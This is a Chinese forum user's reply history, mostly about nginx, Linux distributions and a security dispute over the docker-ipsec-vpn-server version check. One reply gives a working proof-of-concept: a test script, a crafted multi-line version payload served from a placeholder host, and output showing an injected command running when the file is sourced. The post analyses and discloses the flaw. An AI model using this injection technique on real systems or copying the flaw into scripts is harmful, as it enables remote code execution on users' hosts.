V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  liuxu  ›  全部回复第 24 页 / 共 146 页
回复总数  2904
1 ... 20  21  22  23  24  25  26  27  28  29 ... 146  
2022-01-03 20:23:16 +08:00
回复了 devliu1 创建的主题 GitHub 在 github 仓库 指出潜在的安全隐患后 被删 issue
@2i2Re2PLMaDnghL

#17 你是对的,我给想混了,把 grep 想成管道过滤输出了,怎么在 if 里面这么想。。

按你的方法,我利用成功了

测试脚本,模仿 run.sh

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat test.sh
#!/bin/bash

swan_ver_file="/tmp/tmp_version"
swan_ver="1.2";
swan_ver_latest=$(wget -qO- "http*s://www.xxx.com/test.txt");

#echo $swan_ver_latest;
#printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$';

if printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' \
&& [ -n "$swan_ver" ] && [ "$swan_ver" != "$swan_ver_latest" ] \
&& printf '%s\n%s' "$swan_ver" "$swan_ver_latest" | sort -C -V; then
printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
fi
if [ -s "$swan_ver_file" ]; then
. "$swan_ver_file"
cat <<EOF
Note: A newer version of Libreswan ($swan_ver_latest) is available.
To update this Docker image, see: http*s://git.io/updatedockervpn
EOF
fi


wget exploit 代码:

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat /var/www/www.xxx.com/test.txt
999.999.998'
999.999.999
echo "hello world"
zz'


执行结果:

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # sh ./test.sh
/tmp/tmp_version: line 2: 999.999.999: command not found
hello world
/tmp/tmp_version: line 4: zz: command not found
Note: A newer version of Libreswan (999.999.998) is available.
To update this Docker image, see: http*s://git.io/updatedockervpn


楼主的猜测没问题,如果作者想利用这个步骤攻击,可以在某个时期段注入攻击代码,然后再恢复正常,很难被人发现,唯一可控的就是 docker 环境隔离了宿主机

但考虑到是 vpn ,存在被利用搭建管道,建议不要使用
2022-01-03 18:49:01 +08:00
回复了 devliu1 创建的主题 GitHub 在 github 仓库 指出潜在的安全隐患后 被删 issue
@devliu1

作者通过 source 给当前 docker 环境注入一个环境变量没有什么不妥

换个说法,作者建了一座楼,没问题,然后你在楼下拉了个横幅在说“我感觉这楼有安全问题,要塌”,然后作者跟你说没安全问题,把横幅扔到垃圾桶,你觉得这个作者的行为有什么问题么

还是说你感觉不妥,应该继续放楼下展示,给大家提个醒,万一真的会塌呢
2022-01-03 17:47:17 +08:00
回复了 devliu1 创建的主题 GitHub 在 github 仓库 指出潜在的安全隐患后 被删 issue
@ryd994

按你贴的代码确实有问题,但是你只截了别人一段代码。。。

别人的源代码是这样的 https://github.com/hwdsl2/docker-ipsec-vpn-server/blob/d305867bccdd70121d079cfa82c8a68c115f469f/run.sh#L638-L659

# Check for new Libreswan version
swan_ver_file="/opt/src/swanver"
if [ ! -f "$swan_ver_file" ]; then
touch "$swan_ver_file"
ipsec_ver=$(ipsec --version 2>/dev/null)
swan_ver=$(printf '%s' "$ipsec_ver" | sed -e 's/.*Libreswan U\?//' -e 's/\( (\|\/K\).*//')
swan_ver_url="https://dl.ls20.com/v1/docker/$os_type/$os_arch/swanver?ver=$swan_ver&ver2=$IMAGE_VER&i=$status"
swan_ver_latest=$(wget -t 3 -T 15 -qO- "$swan_ver_url")
if printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' \
&& [ -n "$swan_ver" ] && [ "$swan_ver" != "$swan_ver_latest" ] \
&& printf '%s\n%s' "$swan_ver" "$swan_ver_latest" | sort -C -V; then
printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
fi
fi
if [ -s "$swan_ver_file" ]; then
. "$swan_ver_file"
cat <<EOF
Note: A newer version of Libreswan ($swan_ver_latest) is available.
To update this Docker image, see: https://git.io/updatedockervpn
EOF
fi

你只截 if 内部的代码,而不贴 if 的代码,也不谈论利用环境。。

首先这个脚本是 sh 执行,不存在其他人通过 http 请求注入问题。。

唯一有问题的是作者给 swan_ver_url 加入了 exploit 代码,但是下面的 if 条件

printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' &&

首先会通过 grep 验证是否为 xx.xx 的数字版本号,成功才会继续之下&&后面的代码,所以本身就有了防注入功能,而他这个和 sql 注入一点关系都没有,别拿 sql 注入的常识放在这里。。后面就是在当前环境设置 swan_ver_latest 这个环境变量而已。。


回楼主

linux 下软件和系统版本信息放在文件中本身就是很通用的做法。。自己去 /etc 、/proc 和 /sys 下去看。。

你们还在扯 docker 隔离问题,linux kernel 官方自己没隔离 cpu 内存这些信息。。

所以确实不存在安全问题。。
2022-01-02 23:53:03 +08:00
回复了 mingl0280 创建的主题 C++ 问个关于内存对齐的问题
@mingl0280 客气
2022-01-01 00:39:14 +08:00
回复了 gzf6 创建的主题 程序员 新年好!
新年好
2022-01-01 00:39:00 +08:00
回复了 cw2k13as 创建的主题 Linux 求推荐一个小白入手的 Linux 桌面版
@vashthewhite Arch 一套走不下来就对 linux say 拜拜了

linux 桌面版,ubuntu 没有对手,硬件支持是最好的,linux 界可以和 mac 和 win10 对齐
2021-12-29 12:48:21 +08:00
回复了 ddd270700 创建的主题 NGINX 用 nginx 反代用友软件报 404 错误,有偿求助
你先在你的 nginx 服务器上访问 http://10.108.11.149/U9/,看看能不能访问吧,path 应该是有问题的
2021-12-29 12:22:13 +08:00
回复了 shawnwang340 创建的主题 程序员 各位有没有 onedrive 的替代品啊,速度真是太慢了吧
我百度云现在 178 一年 svip ,12T 空间,来个能打的
2021-12-29 12:16:23 +08:00
回复了 ddd270700 创建的主题 NGINX 用 nginx 反代用友软件报 404 错误,有偿求助
@liuxu
第二个打错了,是

location /U9/ {
proxy_pass http://10.108.11.149/;
2021-12-29 12:15:40 +08:00
回复了 ddd270700 创建的主题 NGINX 用 nginx 反代用友软件报 404 错误,有偿求助
location /U9/ {
proxy_pass http://10.108.11.149;



location /U9/ {
proxy_pass http://10.108.11.149/U9/;

试试
2021-12-28 19:30:48 +08:00
回复了 shakaraka 创建的主题 程序员 如何组装个人服务器
别二手 E3 E5 ,直接最新 amd 5xxx 组主机,价格也贵不了多少,玩腻了还能做个人 pc
@gridsah 让兄弟们脱离 centos 的毒害任重道远 /dog

电源的事情不好说,按理说带 Canonical 认证的应该体检极佳,但是我也没用过

我有台小米笔记本 12.5 寸(无独显),以前装 16.04 的时候,关盖子休眠状态 2 天电掉完,后来升级到 18.04 和 20.04 ,放 2 周电池都还有很多电,使用时间基本和 win10 持平,有 5-7 小时

还有台 dell 游戏匣 7559 (有独显),电池消耗和 win10 也差不多
@Howlaind 其实应该是说 ubuntu 有很多自己定制化的东西,像 snap
2021-12-26 15:24:28 +08:00
回复了 richangfan 创建的主题 程序员 有没有 30 天精通 golang 的教程?
@moell 楼主就开个梗而已。。。
2021-12-23 21:26:09 +08:00
回复了 changjiangzzZ 创建的主题 程序员 友商又来抄我们了!
是不是标准不清楚,但是你们能不能把组管理权限先加上
2021-12-20 21:42:23 +08:00
回复了 acainiao 创建的主题 游戏开发 我的游戏《魔旅之塔》将要发售了。
可以,有点儿意思,但是我个手残党只能做气氛组了
2021-12-20 21:29:38 +08:00
回复了 rophie123 创建的主题 PHP 招 PHPer 有感
哟,我是 6~10 年的 phper ,来,你和楼上所有喷 phper 的开个技术贴,我一挑全部,让我看看你们技术有多屌
2021-12-20 21:21:21 +08:00
回复了 gridsah 创建的主题 程序员 请教 CentOS Stream 8 和 Rocky Linux 的使用体验。
@gridsah 可以的兄弟,deb 系都是一家人,用的舒服多其他人普及普及,让被忽悠的小兄弟们远离 rhel 毒害
2021-12-17 21:27:23 +08:00
回复了 charmToby 创建的主题 MySQL 关于 MySQL5.7 json 字段 array 查询的疑惑?
你就别为难 mysql 了,好好建一对多表吧
1 ... 20  21  22  23  24  25  26  27  28  29 ... 146  
关于   ·   帮助文档   ·   自助推广系统   ·   博客   ·   API   ·   FAQ   ·   Solana   ·   1384 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 47ms · UTC 16:53 · PVG 00:53 · LAX 08:53 · JFK 11:53
♥ Do have faith in what you're doing.